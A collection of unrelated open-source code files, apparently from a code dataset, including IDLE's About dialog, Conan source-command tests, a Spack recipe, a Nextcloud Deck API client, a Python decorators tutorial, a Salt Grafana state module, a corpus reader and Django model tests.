command=self.show_py_copyright)
self.py_copyright.pack(side=LEFT, padx=10, pady=10)
self.py_credits = Button(py_buttons, text='Credits', width=8,
highlightbackground=self.bg,
command=self.show_py_credits)
self.py_credits.pack(side=LEFT, padx=10, pady=10)
Frame(frame_background, borderwidth=1, relief=SUNKEN,
height=2, bg=self.bg).grid(row=11, column=0, sticky=EW,
columnspan=3, padx=5, pady=5)
idlever = Label(frame_background,
text='IDLE version: ' + python_version(),
fg=self.fg, bg=self.bg)
idlever.grid(row=12, column=0, sticky=W, padx=10, pady=0)
idle_buttons = Frame(frame_background, bg=self.bg)
idle_buttons.grid(row=13, column=0, columnspan=3, sticky=NSEW)
self.readme = Button(idle_buttons, text='README', width=8,
highlightbackground=self.bg,
command=self.show_readme)
self.readme.pack(side=LEFT, padx=10, pady=10)
self.idle_news = Button(idle_buttons, text='NEWS', width=8,
highlightbackground=self.bg,
command=self.show_idle_news)
self.idle_news.pack(side=LEFT, padx=10, pady=10)
self.idle_credits = Button(idle_buttons, text='Credits', width=8,
highlightbackground=self.bg,
command=self.show_idle_credits)
self.idle_credits.pack(side=LEFT, padx=10, pady=10)
# License, copyright, and credits are of type _sitebuiltins._Printer
def show_py_license(self):
"Handle License button event."
self.display_printer_text('About - License', license)
def show_py_copyright(self):
"Handle Copyright button event."
self.display_printer_text('About - Copyright', copyright)
def show_py_credits(self):
"Handle Python Credits button event."
self.display_printer_text('About - Python Credits', credits)
# Encode CREDITS.txt to utf-8 for proper version of Loewis.
# Specify others as ascii until need utf-8, so catch errors.
def show_idle_credits(self):
"Handle Idle Credits button event."
self.display_file_text('About - Credits', 'CREDITS.txt', 'utf-8')
def show_readme(self):
"Handle Readme button event."
self.display_file_text('About - Readme', 'README.txt', 'ascii')
def show_idle_news(self):
"Handle News button event."
self.display_file_text('About - NEWS', 'NEWS.txt', 'utf-8')
def display_printer_text(self, title, printer):
"""Create textview for built-in constants.
Built-in constants have type _sitebuiltins._Printer. The
text is extracted from the built-in and then sent to a text
viewer with self as the parent and title as the title of
the popup.
"""
printer._Printer__setup()
text = '\n'.join(printer._Printer__lines)
self._current_textview = textview.view_text(
self, title, text, _utest=self._utest)
def display_file_text(self, title, filename, encoding=None):
"""Create textview for filename.
The filename needs to be in the current directory. The path
is sent to a text viewer with self as the parent, title as
the title of the popup, and the file encoding.
"""
fn = os.path.join(os.path.abspath(os.path.dirname(__file__)), filename)
self._current_textview = textview.view_file(
self, title, fn, encoding, _utest=self._utest)
def ok(self, event=None):
"Dismiss help_about dialog."
self.grab_release()
self.destroy()
if __name__ == '__main__':
from unittest import main
main('idlelib.idle_test.test_help_about', verbosity=2, exit=False)
from idlelib.idle_test.htest import run
run(AboutDialog)
|
py | 1a4ca6c36e4e5a49a0f79a697384fd26e6a2cb4a | import os
import unittest
import six
from conans.paths import BUILD_INFO, CONANFILE
from conans.test.utils.tools import TestClient
from conans.util.files import mkdir
class SourceTest(unittest.TestCase):
def test_local_flow_patch(self):
# https://github.com/conan-io/conan/issues/2327
conanfile = """from conans import ConanFile, tools
from conans.tools import save
import os
class TestexportConan(ConanFile):
exports = "mypython.py"
exports_sources = "patch.patch"
def source(self):
save("hello/hello.h", "my hello header!")
patch = os.path.join(self.source_folder, "patch.patch")
self.output.info("PATCH: %s" % tools.load(patch))
header = os.path.join(self.source_folder, "hello/hello.h")
self.output.info("HEADER: %s" % tools.load(header))
python = os.path.join(self.source_folder, "mypython.py")
self.output.info("PYTHON: %s" % tools.load(python))
"""
client = TestClient()
client.save({"conanfile.py": conanfile,
"patch.patch": "mypatch",
"mypython.py": "mypython"})
client.run("source .")
self.assertIn("conanfile.py: PATCH: mypatch", client.out)
self.assertIn("conanfile.py: HEADER: my hello header!", client.out)
self.assertIn("conanfile.py: PYTHON: mypython", client.out)
client.run("source . -sf=mysrc")
self.assertIn("conanfile.py: Executing exports to", client.out)
self.assertIn("conanfile.py: PATCH: mypatch", client.out)
self.assertIn("conanfile.py: HEADER: my hello header!", client.out)
self.assertIn("conanfile.py: PYTHON: mypython", client.out)
self.assertTrue(os.path.exists(os.path.join(client.current_folder,
"mysrc", "patch.patch")))
self.assertTrue(os.path.exists(os.path.join(client.current_folder,
"mysrc", "mypython.py")))
self.assertTrue(os.path.exists(os.path.join(client.current_folder,
"mysrc", "hello/hello.h")))
def test_apply_patch(self):
# https://github.com/conan-io/conan/issues/2327
# Test if a patch can be applied in source() both in create
# and local flow
client = TestClient()
conanfile = """from conans import ConanFile
from conans.tools import load
import os
class Pkg(ConanFile):
exports_sources = "*"
def source(self):
if self.develop:
patch = os.path.join(self.source_folder, "mypatch")
self.output.info("PATCH: %s" % load(patch))
"""
client.save({"conanfile.py": conanfile,
"mypatch": "this is my patch"})
client.run("source .")
self.assertIn("PATCH: this is my patch", client.out)
client.run("source . -sf=mysrc")
self.assertIn("PATCH: this is my patch", client.out)
client.run("create . Pkg/0.1@user/testing")
self.assertIn("PATCH: this is my patch", client.out)
def test_source_warning_os_build(self):
# https://github.com/conan-io/conan/issues/2368
conanfile = '''from conans import ConanFile
class ConanLib(ConanFile):
pass
'''
client = TestClient()
client.save({CONANFILE: conanfile})
client.run("source .")
self.assertNotIn("This package defines both 'os' and 'os_build'", client.out)
def test_source_reference(self):
client = TestClient()
client.run("source lib/1.0@conan/stable", assert_error=True)
self.assertIn("'conan source' doesn't accept a reference anymore", client.out)
def test_source_with_path_errors(self):
client = TestClient()
client.save({"conanfile.txt": "contents"}, clean_first=True)
# Path with conanfile.txt
client.run("source conanfile.txt --install-folder subdir", assert_error=True)
self.assertIn(
"A conanfile.py is needed, %s is not acceptable"
% os.path.join(client.current_folder, "conanfile.txt"),
client.out)
# Path with wrong conanfile path
client.run("package not_real_dir/conanfile.py --build-folder build2 --install-folder build",
assert_error=True)
self.assertIn("Conanfile not found at %s"
% os.path.join(client.current_folder, "not_real_dir", "conanfile.py"),
client.out)
def test_source_local_cwd(self):
conanfile = '''
import os
from conans import ConanFile
class ConanLib(ConanFile):
name = "Hello"
version = "0.1"
def source(self):
self.output.info("Running source!")
self.output.info("cwd=>%s" % os.getcwd())
'''
client = TestClient()
client.save({CONANFILE: conanfile})
subdir = os.path.join(client.current_folder, "subdir")
os.mkdir(subdir)
client.run("install . --install-folder subdir")
client.run("source . --install-folder subdir --source-folder subdir")
self.assertIn("conanfile.py (Hello/0.1): Configuring sources", client.out)
self.assertIn("conanfile.py (Hello/0.1): cwd=>%s" % subdir, client.out)
def test_local_source_src_not_exist(self):
conanfile = '''
import os
from conans import ConanFile
class ConanLib(ConanFile):
name = "Hello"
version = "0.1"
def source(self):
pass
'''
client = TestClient()
client.save({CONANFILE: conanfile})
# Automatically created
client.run("source conanfile.py --source-folder=src")
self.assertTrue(os.path.exists(os.path.join(client.current_folder, "src")))
def test_build_folder_no_exists_crash(self):
conanfile = '''
import os
from conans import ConanFile
class ConanLib(ConanFile):
name = "Hello"
version = "0.1"
def source(self):
pass
'''
client = TestClient()
client.save({CONANFILE: conanfile})
# Automatically created
client.run("source ./conanfile.py --install-folder=missing_folder", assert_error=True)
self.assertIn("Specified info-folder doesn't exist", client.out)
def test_build_folder_reading_infos(self):
conanfile = '''
import os
from conans import ConanFile
class ConanLib(ConanFile):
name = "Hello"
version = "0.1"
def package_info(self):
self.cpp_info.cxxflags.append("FLAG")
self.env_info.MYVAR = "foo"
self.user_info.OTHERVAR = "bar"
'''
client = TestClient()
client.save({CONANFILE: conanfile})
client.run("export . conan/testing")
conanfile = '''
import os
from conans import ConanFile
from conans.util.files import save
class ConanLib(ConanFile):
requires="Hello/0.1@conan/testing"
def source(self):
assert(os.getcwd() == self.source_folder)
self.output.info("FLAG=%s" % self.deps_cpp_info["Hello"].cxxflags[0])
self.output.info("MYVAR=%s" % self.deps_env_info["Hello"].MYVAR)
self.output.info("OTHERVAR=%s" % self.deps_user_info["Hello"].OTHERVAR)
self.output.info("CURDIR=%s" % os.getcwd())
'''
# First, failing source()
client.save({CONANFILE: conanfile}, clean_first=True)
build_folder = os.path.join(client.current_folder, "build")
src_folder = os.path.join(client.current_folder, "src")
mkdir(build_folder)
mkdir(src_folder)
client.run("source . --install-folder='%s' --source-folder='%s'"
% (build_folder, src_folder),
assert_error=True)
self.assertIn("self.deps_cpp_info not defined.", client.out)
client.run("install . --install-folder build --build ")
client.run("source conanfile.py --install-folder='%s' --source-folder='%s'"
% (build_folder, src_folder))
self.assertIn("FLAG=FLAG", client.out)
self.assertIn("MYVAR=foo", client.out)
self.assertIn("OTHERVAR=bar", client.out)
self.assertIn("CURDIR=%s" % src_folder, client.out)
def test_repeat_args_fails(self):
conanfile = '''
from conans import ConanFile
class ConanLib(ConanFile):
def source(self):
pass
'''
client = TestClient()
client.save({CONANFILE: conanfile})
client.run("source ./conanfile.py --source-folder sf")
with six.assertRaisesRegex(self, Exception, "Command failed"):
client.run("source . --source-folder sf --source-folder sf")
with six.assertRaisesRegex(self, Exception, "Command failed"):
client.run("source conanfile.py --source-folder sf --install-folder if "
"--install-folder rr")
def test_local_source(self):
conanfile = '''
from conans import ConanFile
from conans.util.files import save
class ConanLib(ConanFile):
def source(self):
self.output.info("Running source!")
err
save("file1.txt", "Hello World")
'''
# First, failing source()
client = TestClient()
client.save({CONANFILE: conanfile,
BUILD_INFO: ""})
client.run("source .", assert_error=True)
self.assertIn("conanfile.py: Running source!", client.out)
self.assertIn("ERROR: conanfile.py: Error in source() method, line 9", client.out)
# Fix the error and repeat
client.save({CONANFILE: conanfile.replace("err", "")})
client.run("source .")
self.assertIn("conanfile.py: Configuring sources in", client.out)
self.assertIn("conanfile.py: Running source!", client.out)
self.assertEqual("Hello World", client.load("file1.txt"))
|
py | 1a4ca70513ae741db441a46ebf6da276d6797851 | # Copyright 2013-2019 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class RS4vectors(RPackage):
"""The S4Vectors package defines the Vector and List virtual classes and
a set of generic functions that extend the semantic of ordinary
vectors and lists in R. Package developers can easily implement
vector-like or list-like objects as concrete subclasses of Vector or
List. In addition, a few low-level concrete subclasses of general
interest (e.g. DataFrame, Rle, and Hits) are implemented in the
S4Vectors package itself (many more are implemented in the IRanges
package and in other Bioconductor infrastructure packages)."""
homepage = "https://bioconductor.org/packages/S4Vectors/"
git = "https://git.bioconductor.org/packages/S4Vectors.git"
version('0.18.3', commit='d6804f94ad3663828440914920ac933b934aeff1')
version('0.16.0', commit='00fec03fcbcb7cff37917fab0da28d91fdf9dc3d')
version('0.14.7', commit='40af17fe0b8e93b6a72fc787540d2961773b8e23')
depends_on('[email protected]:', type=('build', 'run'), when='@0.14.7')
depends_on('[email protected]:', type=('build', 'run'), when='@0.16.0:')
depends_on('[email protected]:3.4.9', when='@0.14.7', type=('build', 'run'))
depends_on('[email protected]:3.5.9', when='@0.18.3', type=('build', 'run'))
|
py | 1a4ca81294424ac949dfd1351e52d565985e957d | import requests
headers = {"OCS-APIRequest": "true"}
# The API is implemented as documented here: https://deck.readthedocs.io/en/latest/API/
class DeckAPI:
def __init__(self, url, auth):
self.url = url
self.auth = auth
def get(self, route):
response = requests.get(
f"{self.url}{route}",
auth=self.auth,
headers=headers,
)
if response.status_code != requests.codes.ok:
print(f"The response was: {response.content}")
response.raise_for_status()
return response
def post(self, route, json):
response = requests.post(
f"{self.url}{route}",
auth=self.auth,
json=json,
headers=headers,
)
if response.status_code != requests.codes.ok:
print(f"The response was: {response.content}")
response.raise_for_status()
return response
def postFiles(self, route, data, files):
response = requests.post(
f"{self.url}{route}",
auth=self.auth,
data=data,
files=files,
headers=headers,
)
if response.status_code != requests.codes.ok:
print(f"The response was: {response.content}")
response.raise_for_status()
return response
def put(self, route, json):
response = requests.put(
f"{self.url}{route}",
auth=self.auth,
json=json,
headers=headers,
)
if response.status_code != requests.codes.ok:
print(f"The response was: {response.content}")
response.raise_for_status()
return response
def delete(self, route):
response = requests.delete(
f"{self.url}{route}",
auth=self.auth,
headers=headers,
)
if response.status_code != requests.codes.ok:
print(f"The response was: {response.conten}")
response.raise_for_status()
return response
def getBoards(self):
return self.get(f"/index.php/apps/deck/api/v1.0/boards").json()
def getBoardDetails(self, boardId):
return self.get(f"/index.php/apps/deck/api/v1.0/boards/{boardId}").json()
def getStacks(self, boardId):
return self.get(f"/index.php/apps/deck/api/v1.0/boards/{boardId}/stacks").json()
def getStacksArchived(self, boardId):
return self.get(
f"/index.php/apps/deck/api/v1.0/boards/{boardId}/stacks/archived"
).json()
def createBoard(self, title, color):
board = self.post(
"/index.php/apps/deck/api/v1.0/boards", {"title": title, "color": color}
).json()
boardId = board["id"]
# remove all default labels
for label in board["labels"]:
labelId = label["id"]
self.delete(
f"/index.php/apps/deck/api/v1.0/boards/{boardId}/labels/{labelId}"
)
return board
def createLabel(self, title, color, boardId):
return self.post(
f"/index.php/apps/deck/api/v1.0/boards/{boardId}/labels",
{"title": title, "color": color},
).json()
def createStack(self, title, order, boardId):
return self.post(
f"/index.php/apps/deck/api/v1.0/boards/{boardId}/stacks",
{"title": title, "order": order},
).json()
def createCard(self, title, ctype, order, description, duedate, boardId, stackId):
return self.post(
f"/index.php/apps/deck/api/v1.0/boards/{boardId}/stacks/{stackId}/cards",
{
"title": title,
"type": ctype,
"order": order,
"description": description,
"duedate": duedate.isoformat() if duedate is not None else None,
},
).json()
def assignLabel(self, labelId, cardId, boardId, stackId):
self.put(
f"/index.php/apps/deck/api/v1.0/boards/{boardId}/stacks/{stackId}/cards/{cardId}/assignLabel",
{"labelId": labelId},
)
def archiveCard(self, card, boardId, stackId):
card['archived'] = True
self.put(
f"/index.php/apps/deck/api/v1.0/boards/{boardId}/stacks/{stackId}/cards/{card['id']}",
card,
)
def commentOnCard(self, cardId, message, parentId=None):
self.post(
f"/ocs/v2.php/apps/deck/api/v1.0/cards/{cardId}/comments",
{"message": message, "parentId": parentId},
)
def attachToCard(self, boardId, stackId, cardId, fileName, fileObject, mimeType):
self.postFiles(
f"/index.php/apps/deck/api/v1.0/boards/{boardId}/stacks/{stackId}/cards/{cardId}/attachments",
{"type": "deck_file"},
{"file": (fileName, fileObject, mimeType)},
)
|
py | 1a4ca87ccf6c2ecf3be488a9eda99567f1c6440d | from direct.showbase.ShowBaseGlobal import *
import DistributedCCharBase
from direct.directnotify import DirectNotifyGlobal
from direct.fsm import ClassicFSM
from direct.fsm import State
import CharStateDatas
from toontown.toonbase import ToontownGlobals
from toontown.toonbase import TTLocalizer
import DistributedDale
class DistributedJailbirdDale(DistributedDale.DistributedDale):
notify = DirectNotifyGlobal.directNotify.newCategory('DistributedJailbirdDale')
def __init__(self, cr):
try:
self.DistributedDale_initialized
except:
self.DistributedDale_initialized = 1
DistributedCCharBase.DistributedCCharBase.__init__(self, cr, TTLocalizer.JailbirdDale, 'jda')
self.fsm = ClassicFSM.ClassicFSM(self.getName(), [State.State('Off', self.enterOff, self.exitOff, ['Neutral']), State.State('Neutral', self.enterNeutral, self.exitNeutral, ['Walk']), State.State('Walk', self.enterWalk, self.exitWalk, ['Neutral'])], 'Off', 'Off')
self.fsm.enterInitialState()
self.handleHolidays()
self.nametag.setText(TTLocalizer.Dale)
|
py | 1a4ca89d9015364ea6d3d46ba26a9b89ae9235d3 | """Decorators are higher order functions that accept functions and return another function that executes the original"""
import datetime
import functools
def check_value(func):
"""checking value parameter decorator - function that returns a function."""
def do_checking(name, value):
print("decorate: we can do anything we like here, even changing the function parameters or anything")
if value is None or value == 0: # decorate original function
value = 4
return func(name, value)
# return function that calls original function parameter
return do_checking
def fix_name(func):
"""ensure string is correct capitalised."""
def do_changes(name, value):
print("decorate: we can fix strings through capitalization")
name = name.capitalize()
return func(name, value)
return do_changes
def negate_value(func):
"""negate value decorator."""
def do_negation(name, value):
print("decorate: we can change return values by negating value")
return -value
return do_negation
def my_function(name, value):
"""this is our function we want to decorate."""
print("name:", name, "value:", value)
return
print("\nwe can stack functions so one will call the other...")
my_fixed_name_function = fix_name(my_function) # a way to create a decorated version of function
my_value_checked_and_fixed_name_function = check_value(my_fixed_name_function)
# original my_function has been decorated
my_value_checked_and_fixed_name_function("hello world!", None)
# this decorator is called first
@check_value
@fix_name
@negate_value # you can see this as series of function calls with a function as parameter
def my_decorated_function(name, value): # ...check_value(fix_name(negate_value(my_decorated_function)))
"""my original function."""
print("name:", name, "value:", value)
return value
print("\nwe can use the @symbol to simplify decoration of a function...")
print("my_decorated_function.__name__ =", my_decorated_function.__name__) # not what we expected
ret_value = my_decorated_function("hello world!", 0)
print("ret_value from my_decorated_function =", ret_value) # check value decorator used before negate_value
def my_general_capitalize_decorator(func):
def capitalise_func(*args, **kwargs):
args = tuple([x.capitalize() if isinstance(x, str) else x for x in args])
kwargs = {k: v.capitalize() if isinstance(v, str) else v for k, v in kwargs.items()}
func(*args, **kwargs)
return capitalise_func
@my_general_capitalize_decorator
def my_function(name, age, surname, middle_name):
print("name:", name, middle_name, surname, f"({age})")
@my_general_capitalize_decorator
def my_other_function(place, time):
print("meet me at", place, "at", time)
print("\nwe can use args and kwargs to make decorators suitable for different functions and parameters...")
my_function('bob', 34, 'smith', middle_name='reginald')
my_other_function('underneath the arches', datetime.datetime.now())
class SomeRandomClass:
def __init__(self):
pass
@my_general_capitalize_decorator
def a_method(self, name, age, surname, middle_name):
print("class name:", name, middle_name, surname, f"({age})")
print("or class methods...")
my_instance = SomeRandomClass()
my_instance.a_method('bob', 34, 'smith', middle_name='reginald')
print("or even a lambda...")
my_general_capitalize_decorator(lambda x, y: print(x, y))('hello', 'bobby')
def my_decorator(func):
@functools.wraps(func) # note, you need to send func parameter in this case, wraps accepts
def do_decoration(): # ...func as a parameter
print("hello from decorator!")
func()
return do_decoration
@my_decorator
def my_function():
"""my_function doc string"""
print("hello from function!")
print("\nwraps() decorator from functools can be used to preserve original name and docstring...")
my_function()
print("my_function.__name__ =", my_function.__name__)
print("my_function.__doc__ =", my_function.__doc__)
print("#################################")
def my_simple_decorator(func):
print("calling function", func.__name__) # this will be printed when function is decorated not..
return func # ..when the function is called
@my_simple_decorator # note that my_simple_decorator is applied here
def my_function():
return 'hello from my_function'
print("\ndecorators can be very simple for debugging or registering...")
print(my_function())
print("#################################")
def my_param_decorator(a_string, an_integer): # functool.wraps() takes a function object as a parameter
print("my_param_decorator")
def my_parameterised_decorator(func):
print("my_parameterised_decorator")
def do_decoration(*args, **kwargs):
print("do_decoration:", a_string)
print(f"..executing {an_integer} times")
for i in range(an_integer):
func(*args, **kwargs)
return do_decoration
return my_parameterised_decorator
@my_param_decorator('decorator parameter', 2) # my_param_decorator and my_parameterised_decorator called here
def my_function():
print("in my_function")
print("\nwe can pass parameters to a decorator using an extra function wrapper...")
my_function() # do_decoration is done here
print("#################################")
# thanks to https://realpython.com/primer-on-python-decorators/
def my_param_decorator(_func=None, *, a_string=None, an_integer=1): # * means all parameters after are keyword only
print("my_param_decorator")
def my_parameterised_decorator(func):
print("my_parameterised_decorator")
def do_decoration(*args, **kwargs):
do_decoration.number_decorations += 1 # decorator state update
print("do_decoration:", a_string)
print(f"..executing {an_integer} times")
for i in range(an_integer):
func(*args, **kwargs)
do_decoration.number_decorations = 0 # we can add attributes as usual for state
return do_decoration
if _func is None:
print("_func is None so parameters were specified")
print("a_string =", a_string, "an_integer =", an_integer)
return my_parameterised_decorator # return my_parameterised_decorator function as object
else:
print("_func is", _func)
print("...so no parameters were specified, calling my_parameterised_decorator...!")
_decorator_func = my_parameterised_decorator(_func)
print("called my_parameterised_decorator to get decorator function")
return _decorator_func # call function and returns the resulting function object
# ...do_decoration
@my_param_decorator # so this is effectively my_param_decorator(my_function) so _func = my_function
def my_function():
print("in my_function")
print("\ncalling function with non-parameterised decorator...")
my_function()
# my_function is actually the decorated function do_decoration so we can access its attributes
print("number of decorations:", my_function.number_decorations)
print("#################################")
@my_param_decorator(an_integer=2) # have parameters so _func = None so this is effectively...
def my_function(): # ...my_param_decorator(an_integer=2)(my_function)
print("in my_function")
print("\ncalling function with parameterised decorator...")
my_function()
my_function()
print("number of decorations:", my_function.number_decorations)
print("#################################")
|
py | 1a4caa474c68a038f08ac370251b33fd77363b8b | # -*- coding: utf-8 -*-
'''
Manage Grafana v4.0 users
.. versionadded:: 2017.7.0
:configuration: This state requires a configuration profile to be configured
in the minion config, minion pillar, or master config. The module will use
the 'grafana' key by default, if defined.
Example configuration using basic authentication:
.. code-block:: yaml
grafana:
grafana_url: http://grafana.localhost
grafana_user: admin
grafana_password: admin
grafana_timeout: 3
Example configuration using token based authentication:
.. code-block:: yaml
grafana:
grafana_url: http://grafana.localhost
grafana_token: token
grafana_timeout: 3
.. code-block:: yaml
Ensure foobar user is present:
grafana4_user.present:
- name: foobar
- password: mypass
- email: "foobar@localhost"
- fullname: Foo Bar
- is_admin: true
'''
from __future__ import absolute_import
from salt.ext.six import string_types
from salt.utils import dictupdate
from salt.utils.dictdiffer import deep_diff
def __virtual__():
'''Only load if grafana4 module is available'''
return 'grafana4.get_user' in __salt__
def present(name,
password,
email,
is_admin=False,
fullname=None,
theme=None,
profile='grafana'):
'''
Ensure that a user is present.
name
Name of the user.
password
Password of the user.
email
Email of the user.
is_admin
Optional - Set user as admin user. Default: False
fullname
Optional - Full name of the user.
theme
Optional - Selected theme of the user.
profile
Configuration profile used to connect to the Grafana instance.
Default is 'grafana'.
'''
if isinstance(profile, string_types):
profile = __salt__['config.option'](profile)
ret = {'name': name, 'result': None, 'comment': None, 'changes': {}}
user = __salt__['grafana4.get_user'](name, profile)
create = not user
if create:
__salt__['grafana4.create_user'](
login=name,
password=password,
email=email,
name=fullname,
profile=profile)
user = __salt__['grafana4.get_user'](name, profile)
ret['changes']['new'] = user
user_data = __salt__['grafana4.get_user_data'](user['id'])
data = _get_json_data(login=name, email=email, name=fullname, theme=theme,
defaults=user_data)
if data != _get_json_data(login=None, email=None, name=None, theme=None,
defaults=user_data):
__salt__['grafana4.update_user'](user['id'], profile=profile, **data)
dictupdate.update(
ret['changes'], deep_diff(
user_data, __salt__['grafana4.get_user_data'](user['id'])))
if user['isAdmin'] != is_admin:
__salt__['grafana4.update_user_permissions'](
user['id'], isGrafanaAdmin=is_admin, profile=profile)
dictupdate.update(ret['changes'], deep_diff(
user, __salt__['grafana4.get_user'](name, profile)))
ret['result'] = True
if create:
ret['changes'] = ret['changes']['new']
ret['comment'] = 'New user {0} added'.format(name)
else:
if ret['changes']:
ret['comment'] = 'User {0} updated'.format(name)
else:
ret['changes'] = None
ret['comment'] = 'User {0} already up-to-date'.format(name)
return ret
def absent(name, profile='grafana'):
'''
Ensure that a user is present.
name
Name of the user to remove.
profile
Configuration profile used to connect to the Grafana instance.
Default is 'grafana'.
'''
if isinstance(profile, string_types):
profile = __salt__['config.option'](profile)
ret = {'name': name, 'result': None, 'comment': None, 'changes': {}}
user = __salt__['grafana4.get_user'](name, profile)
if user:
orgs = __salt__['grafana4.get_user_orgs'](user['id'], profile=profile)
__salt__['grafana4.delete_user'](user['id'], profile=profile)
for org in orgs:
if org['name'] == user['email']:
# Remove entire Org in the case where auto_assign_org=false:
# When set to false, new users will automatically cause a new
# organization to be created for that new user (the org name
# will be the email)
__salt__['grafana4.delete_org'](org['orgId'], profile=profile)
else:
__salt__['grafana4.delete_user_org'](
user['id'], org['orgId'], profile=profile)
else:
ret['result'] = True
ret['comment'] = 'User {0} already absent'.format(name)
return ret
ret['result'] = True
ret['changes'][name] = 'Absent'
ret['comment'] = 'User {0} was deleted'.format(name)
return ret
def _get_json_data(defaults=None, **kwargs):
if defaults is None:
defaults = {}
for k, v in kwargs.items():
if v is None:
kwargs[k] = defaults.get(k)
return kwargs
|
py | 1a4caa6e00722a75053318f4bee4867da195011e | # Natural Language Toolkit: Dependency Corpus Reader
#
# Copyright (C) 2001-2015 NLTK Project
# Author: Kepa Sarasola <[email protected]>
# Iker Manterola <[email protected]>
#
# URL: <http://nltk.org/>
# For license information, see LICENSE.TXT
import codecs
from cnltk.parse import DependencyGraph
from cnltk.tokenize import *
from cnltk.corpus.reader.util import *
from cnltk.corpus.reader.api import *
class DependencyCorpusReader(SyntaxCorpusReader):
def __init__(self, root, fileids, encoding='utf8',
word_tokenizer=TabTokenizer(),
sent_tokenizer=RegexpTokenizer('\n', gaps=True),
para_block_reader=read_blankline_block):
CorpusReader.__init__(self, root, fileids, encoding)
#########################################################
def raw(self, fileids=None):
"""
:return: the given file(s) as a single string.
:rtype: str
"""
result = []
for fileid, encoding in self.abspaths(fileids, include_encoding=True):
if isinstance(fileid, PathPointer):
result.append(fileid.open(encoding=encoding).read())
else:
with codecs.open(fileid, "r", encoding) as fp:
result.append(fp.read())
return concat(result)
def words(self, fileids=None):
return concat([DependencyCorpusView(fileid, False, False, False, encoding=enc)
for fileid, enc in self.abspaths(fileids, include_encoding=True)])
def tagged_words(self, fileids=None):
return concat([DependencyCorpusView(fileid, True, False, False, encoding=enc)
for fileid, enc in self.abspaths(fileids, include_encoding=True)])
def sents(self, fileids=None):
return concat([DependencyCorpusView(fileid, False, True, False, encoding=enc)
for fileid, enc in self.abspaths(fileids, include_encoding=True)])
def tagged_sents(self, fileids=None):
return concat([DependencyCorpusView(fileid, True, True, False, encoding=enc)
for fileid, enc in self.abspaths(fileids, include_encoding=True)])
def parsed_sents(self, fileids=None):
sents=concat([DependencyCorpusView(fileid, False, True, True, encoding=enc)
for fileid, enc in self.abspaths(fileids, include_encoding=True)])
return [DependencyGraph(sent) for sent in sents]
class DependencyCorpusView(StreamBackedCorpusView):
_DOCSTART = '-DOCSTART- -DOCSTART- O\n' #dokumentu hasiera definitzen da
def __init__(self, corpus_file, tagged, group_by_sent, dependencies,
chunk_types=None, encoding='utf8'):
self._tagged = tagged
self._dependencies = dependencies
self._group_by_sent = group_by_sent
self._chunk_types = chunk_types
StreamBackedCorpusView.__init__(self, corpus_file, encoding=encoding)
def read_block(self, stream):
# Read the next sentence.
sent = read_blankline_block(stream)[0].strip()
# Strip off the docstart marker, if present.
if sent.startswith(self._DOCSTART):
sent = sent[len(self._DOCSTART):].lstrip()
# extract word and tag from any of the formats
if not self._dependencies:
lines = [line.split('\t') for line in sent.split('\n')]
if len(lines[0]) == 3 or len(lines[0]) == 4:
sent = [(line[0], line[1]) for line in lines]
elif len(lines[0]) == 10:
sent = [(line[1], line[4]) for line in lines]
else:
raise ValueError('Unexpected number of fields in dependency tree file')
# discard tags if they weren't requested
if not self._tagged:
sent = [word for (word, tag) in sent]
# Return the result.
if self._group_by_sent:
return [sent]
else:
return list(sent)
|
gyp | 1a4cabf94efa7f1ac60cd56070e5929d3ab07cb4 | # Copyright (c) 2011 Google Inc. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
{
'targets': [
{
'target_name': 'dep_framework',
'product_name': 'Dependency Framework',
'type': 'shared_library',
'mac_bundle': 1,
'sources': [ 'empty.c', ],
},
{
'target_name': 'test_app',
'product_name': 'Test App Assets Catalog Gyp',
'type': 'executable',
'mac_bundle': 1,
'dependencies': [ 'dep_framework', ],
'sources': [
'TestApp/main.m',
'TestApp/TestApp_Prefix.pch',
'TestApp/TestAppAppDelegate.h',
'TestApp/TestAppAppDelegate.m',
],
'mac_bundle_resources': [
'TestApp/English.lproj/InfoPlist.strings', # UTF-8
'TestApp/English.lproj/utf-16be.strings',
'TestApp/English.lproj/utf-16le.strings',
'TestApp/English.lproj/MainMenu.xib',
'TestApp/Images.xcassets',
],
'link_settings': {
'libraries': [
'$(SDKROOT)/System/Library/Frameworks/Cocoa.framework',
],
},
'xcode_settings': {
'INFOPLIST_FILE': 'TestApp/TestApp-Info.plist',
'MACOSX_DEPLOYMENT_TARGET': '10.9',
},
},
],
}
|
py | 1a4cadcf48ace267baee1f5e403a5ecd269e6169 | from test_plus.test import TestCase
from fiction_outlines.models import Outline, Series, Character, Location
from fiction_outlines.models import (
CharacterInstance,
LocationInstance,
StoryElementNode,
)
class TestUser(TestCase):
def setUp(self):
self.user = self.make_user()
def test__str__(self):
self.assertEqual(
self.user.__str__(),
"testuser", # This is the default username for self.make_user()
)
def test_get_absolute_url(self):
self.assertEqual(self.user.get_absolute_url(), "/users/testuser/")
class TestRecentChangeFeed(TestCase):
"""
Test the retrieval of recent changes made by a user.
"""
def setUp(self):
def get_sn(node_id):
return StoryElementNode.objects.get(pk=node_id)
self.user = self.make_user("u1")
self.s1 = Series.objects.create(title="Urban Fantasy Trilogy", user=self.user)
self.c1 = Character.objects.create(name="John Doe", user=self.user)
self.c1.series.add(self.s1)
self.c2 = Character.objects.create(name="Mary Sue", user=self.user)
self.c2.series.add(self.s1)
self.l1 = Location.objects.create(name="The bar", user=self.user)
self.l1.series.add(self.s1)
self.o1 = Outline.objects.create(
title="Dark Embrace", user=self.user, series=self.s1
)
self.c1int = CharacterInstance.objects.create(
character=self.c1, outline=self.o1
)
self.l1int = LocationInstance.objects.create(location=self.l1, outline=self.o1)
self.arc1 = self.o1.create_arc(name="Coming of age", mace_type="character")
self.arc2 = self.o1.create_arc(name="Dragon invasion", mace_type="event")
self.part1 = self.o1.story_tree_root.add_child(
name="Part 1", story_element_type="part"
)
self.part2 = get_sn(self.o1.story_tree_root.pk).add_child(
name="Part 2", story_element_type="part"
)
self.c2.description = "Good at everything she does."
self.c2.save()
self.chap1 = self.part1.add_child(
name="Chapter 1", story_element_type="chapter"
)
self.part1.refresh_from_db() # Make sure we have the treebeard changes.
self.c1int.main_character = True
self.c1int.save()
self.o1.description = "Sexy vampires in the city"
self.o1.save()
self.hook = self.arc1.arc_root_node.get_children()[0]
self.hook.description = "Our hero walks alone in the rain."
self.hook.save()
self.chap1.description = "The cold city..."
self.chap1.save()
